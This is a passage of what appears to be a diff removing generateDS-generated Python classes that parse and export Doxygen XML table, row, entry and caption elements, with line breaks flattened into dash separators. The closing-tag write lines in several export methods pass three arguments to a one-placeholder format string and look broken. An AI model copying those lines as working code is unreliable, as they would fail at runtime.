self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docRefTextType - - -class docTableType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, rows=None, cols=None, width=None, caption=None, row=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.rows = _cast(int, rows) - self.rows_nsprefix_ = None - self.cols = _cast(int, cols) - self.cols_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.caption = caption - self.caption_nsprefix_ = None - if row is None: - self.row = [] - else: - self.row = row - self.row_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docTableType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docTableType.subclass: - return docTableType.subclass(*args_, **kwargs_) - else: - return docTableType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_caption(self): - return self.caption - def set_caption(self, caption): - self.caption = caption - def get_row(self): - return self.row - def set_row(self, row): - self.row = row - def add_row(self, value): - self.row.append(value) - def insert_row_at(self, index, value): - self.row.insert(index, value) - def replace_row_at(self, index, value): - self.row[index] = value - def get_rows(self): - return self.rows - def set_rows(self, rows): - self.rows = rows - def get_cols(self): - return self.cols - def set_cols(self, cols): - self.cols = cols - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def hasContent_(self): - if ( - self.caption is not None or - self.row - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTableType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docTableType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docTableType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docTableType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docTableType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docTableType'): - if self.rows is not None and 'rows' not in already_processed: - already_processed.add('rows') - outfile.write(' rows="%s"' % self.gds_format_integer(self.rows, input_name='rows')) - if self.cols is not None and 'cols' not in already_processed: - already_processed.add('cols') - outfile.write(' cols="%s"' % self.gds_format_integer(self.cols, input_name='cols')) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTableType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.caption is not None: - namespaceprefix_ = self.caption_nsprefix_ + ':' if (UseCapturedNS_ and self.caption_nsprefix_) else '' - self.caption.export(outfile, level, namespaceprefix_, namespacedef_='', name_='caption', pretty_print=pretty_print) - for row_ in self.row: - namespaceprefix_ = self.row_nsprefix_ + ':' if (UseCapturedNS_ and self.row_nsprefix_) else '' - row_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='row', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('rows', node) - if value is not None and 'rows' not in already_processed: - already_processed.add('rows') - self.rows = self.gds_parse_integer(value, node, 'rows') - value = find_attr_value_('cols', node) - if value is not None and 'cols' not in already_processed: - already_processed.add('cols') - self.cols = self.gds_parse_integer(value, node, 'cols') - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'caption': - obj_ = docCaptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.caption = obj_ - obj_.original_tagname_ = 'caption' - elif nodeName_ == 'row': - obj_ = docRowType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.row.append(obj_) - obj_.original_tagname_ = 'row' -# end class docTableType - - -class docRowType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, entry=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if entry is None: - self.entry = [] - else: - self.entry = entry - self.entry_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docRowType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docRowType.subclass: - return docRowType.subclass(*args_, **kwargs_) - else: - return docRowType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_entry(self): - return self.entry - def set_entry(self, entry): - self.entry = entry - def add_entry(self, value): - self.entry.append(value) - def insert_entry_at(self, index, value): - self.entry.insert(index, value) - def replace_entry_at(self, index, value): - self.entry[index] = value - def hasContent_(self): - if ( - self.entry - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docRowType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docRowType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docRowType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docRowType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docRowType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docRowType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docRowType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for entry_ in self.entry: - namespaceprefix_ = self.entry_nsprefix_ + ':' if (UseCapturedNS_ and self.entry_nsprefix_) else '' - entry_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='entry', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'entry': - obj_ = docEntryType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.entry.append(obj_) - obj_.original_tagname_ = 'entry' -# end class docRowType - - -class docEntryType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, thead=None, colspan=None, rowspan=None, align=None, valign=None, width=None, class_=None, para=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.thead = _cast(None, thead) - self.thead_nsprefix_ = None - self.colspan = _cast(int, colspan) - self.colspan_nsprefix_ = None - self.rowspan = _cast(int, rowspan) - self.rowspan_nsprefix_ = None - self.align = _cast(None, align) - self.align_nsprefix_ = None - self.valign = _cast(None, valign) - self.valign_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.class_ = _cast(None, class_) - self.class__nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - self.anyAttributes_ = {} - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docEntryType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docEntryType.subclass: - return docEntryType.subclass(*args_, **kwargs_) - else: - return docEntryType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_thead(self): - return self.thead - def set_thead(self, thead): - self.thead = thead - def get_colspan(self): - return self.colspan - def set_colspan(self, colspan): - self.colspan = colspan - def get_rowspan(self): - return self.rowspan - def set_rowspan(self, rowspan): - self.rowspan = rowspan - def get_align(self): - return self.align - def set_align(self, align): - self.align = align - def get_valign(self): - return self.valign - def set_valign(self, valign): - self.valign = valign - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def get_class(self): - return self.class_ - def set_class(self, class_): - self.class_ = class_ - def get_anyAttributes_(self): return self.anyAttributes_ - def set_anyAttributes_(self, anyAttributes_): self.anyAttributes_ = anyAttributes_ - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxAlign(self, value): - # Validate type DoxAlign, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['left', 'right', 'center'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxAlign' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxVerticalAlign(self, value): - # Validate type DoxVerticalAlign, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['bottom', 'top', 'middle'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxVerticalAlign' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.para - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEntryType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docEntryType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docEntryType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docEntryType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docEntryType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docEntryType'): - unique_counter = 0 - for name, value in self.anyAttributes_.items(): - xsinamespaceprefix = 'xsi' - xsinamespace1 = 'http://www.w3.org/2001/XMLSchema-instance' - xsinamespace2 = '{%s}' % (xsinamespace1, ) - if name.startswith(xsinamespace2): - name1 = name[len(xsinamespace2):] - name2 = '%s:%s' % (xsinamespaceprefix, name1, ) - if name2 not in already_processed: - already_processed.add(name2) - outfile.write(' %s=%s' % (name2, quote_attrib(value), )) - else: - mo = re_.match(Namespace_extract_pat_, name) - if mo is not None: - namespace, name = mo.group(1, 2) - if name not in already_processed: - already_processed.add(name) - if namespace == 'http://www.w3.org/XML/1998/namespace': - outfile.write(' %s=%s' % ( - name, quote_attrib(value), )) - else: - unique_counter += 1 - outfile.write(' xmlns:%d="%s"' % ( - unique_counter, namespace, )) - outfile.write(' %d:%s=%s' % ( - unique_counter, name, quote_attrib(value), )) - else: - if name not in already_processed: - already_processed.add(name) - outfile.write(' %s=%s' % ( - name, quote_attrib(value), )) - if self.thead is not None and 'thead' not in already_processed: - already_processed.add('thead') - outfile.write(' thead=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.thead), input_name='thead')), )) - if self.colspan is not None and 'colspan' not in already_processed: - already_processed.add('colspan') - outfile.write(' colspan="%s"' % self.gds_format_integer(self.colspan, input_name='colspan')) - if self.rowspan is not None and 'rowspan' not in already_processed: - already_processed.add('rowspan') - outfile.write(' rowspan="%s"' % self.gds_format_integer(self.rowspan, input_name='rowspan')) - if self.align is not None and 'align' not in already_processed: - already_processed.add('align') - outfile.write(' align=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.align), input_name='align')), )) - if self.valign is not None and 'valign' not in already_processed: - already_processed.add('valign') - outfile.write(' valign=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.valign), input_name='valign')), )) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - if self.class_ is not None and 'class_' not in already_processed: - already_processed.add('class_') - outfile.write(' class=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.class_), input_name='class')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docEntryType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('thead', node) - if value is not None and 'thead' not in already_processed: - already_processed.add('thead') - self.thead = value - self.validate_DoxBool(self.thead) # validate type DoxBool - value = find_attr_value_('colspan', node) - if value is not None and 'colspan' not in already_processed: - already_processed.add('colspan') - self.colspan = self.gds_parse_integer(value, node, 'colspan') - value = find_attr_value_('rowspan', node) - if value is not None and 'rowspan' not in already_processed: - already_processed.add('rowspan') - self.rowspan = self.gds_parse_integer(value, node, 'rowspan') - value = find_attr_value_('align', node) - if value is not None and 'align' not in already_processed: - already_processed.add('align') - self.align = value - self.validate_DoxAlign(self.align) # validate type DoxAlign - value = find_attr_value_('valign', node) - if value is not None and 'valign' not in already_processed: - already_processed.add('valign') - self.valign = value - self.validate_DoxVerticalAlign(self.valign) # validate type DoxVerticalAlign - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - value = find_attr_value_('class', node) - if value is not None and 'class' not in already_processed: - already_processed.add('class') - self.class_ = value - self.anyAttributes_ = {} - for name, value in attrs.items(): - if name not in already_processed: - self.anyAttributes_[name] = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.para.append(obj_) - obj_.original_tagname_ = 'para' -# end class docEntryType - - -class docCaptionType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docCaptionType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docCaptionType.subclass: - return docCaptionType.subclass(*args_, **kwargs_) - else: - return docCaptionType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): 